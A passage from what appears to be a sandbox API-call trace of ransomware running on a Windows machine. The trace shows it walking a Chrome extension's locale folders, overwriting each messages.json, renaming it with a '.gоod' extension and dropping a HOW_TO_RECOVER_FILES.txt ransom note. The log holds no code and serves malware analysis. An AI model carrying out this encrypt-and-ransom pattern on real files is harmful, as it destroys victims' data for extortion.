data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.gоod")) returned 1 [0231.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0231.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0231.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0231.922] GetFileType (hFile=0x630) returned 0x1 [0231.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0231.922] GetFileType (hFile=0x630) returned 0x1 [0231.923] WriteFile (in: hFile=0x630, lpBuffer=0x3812b68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3812b68*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0231.923] CloseHandle (hObject=0x630) returned 1 [0231.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0231.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn", lpFilePart=0x0) returned 0x7b [0231.924] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0231.924] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.924] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82d4479, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d6b52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.924] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.925] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0231.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0231.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0231.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0231.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn", lpFilePart=0x0) returned 0x7b [0231.925] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0231.925] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.925] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82d4479, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d6b52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.925] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82d4479, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d6b52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0231.925] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0231.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0231.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0231.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", lpFilePart=0x0) returned 0x89 [0231.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0231.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3822b38 | out: lpFileInformation=0x3822b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82d4479, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d6b52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x14b)) returned 1 [0231.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0231.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", lpFilePart=0x0) returned 0x89 [0231.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0231.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.926] GetFileType (hFile=0x630) returned 0x1 [0231.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0231.926] GetFileType (hFile=0x630) returned 0x1 [0231.926] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x14b [0231.926] ReadFile (in: hFile=0x630, lpBuffer=0x3823040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3823040*, lpNumberOfBytesRead=0x209ebc98*=0x14b, lpOverlapped=0x0) returned 1 [0231.927] CloseHandle (hObject=0x630) returned 1 [0232.175] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", lpFilePart=0x0) returned 0x89 [0232.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0232.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.176] GetFileType (hFile=0x630) returned 0x1 [0232.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0232.176] GetFileType (hFile=0x630) returned 0x1 [0232.176] WriteFile (in: hFile=0x630, lpBuffer=0x37b0ae0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37b0ae0*, lpNumberOfBytesWritten=0x209ebba8*=0x150, lpOverlapped=0x0) returned 1 [0232.177] CloseHandle (hObject=0x630) returned 1 [0232.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json", lpFilePart=0x0) returned 0x89 [0232.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0232.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0232.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82d4479, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d6b52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x86994d36, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0232.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0232.178] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.gоod")) returned 1 [0232.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0232.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0232.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0232.179] GetFileType (hFile=0x630) returned 0x1 [0232.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0232.179] GetFileType (hFile=0x630) returned 0x1 [0232.180] WriteFile (in: hFile=0x630, lpBuffer=0x37b4418*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37b4418*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0232.181] CloseHandle (hObject=0x630) returned 1 [0232.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0232.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca", lpFilePart=0x0) returned 0x7b [0232.181] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0232.182] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.182] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82e07b4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e0792, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0232.182] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0232.182] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0232.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0232.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0232.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0232.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca", lpFilePart=0x0) returned 0x7b [0232.182] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0232.183] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82e07b4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e0792, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82e07b4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e0792, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0232.183] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0232.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0232.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0232.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0232.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0232.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37c43e8 | out: lpFileInformation=0x37c43e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82e07b4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e0792, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcf)) returned 1 [0232.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0232.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 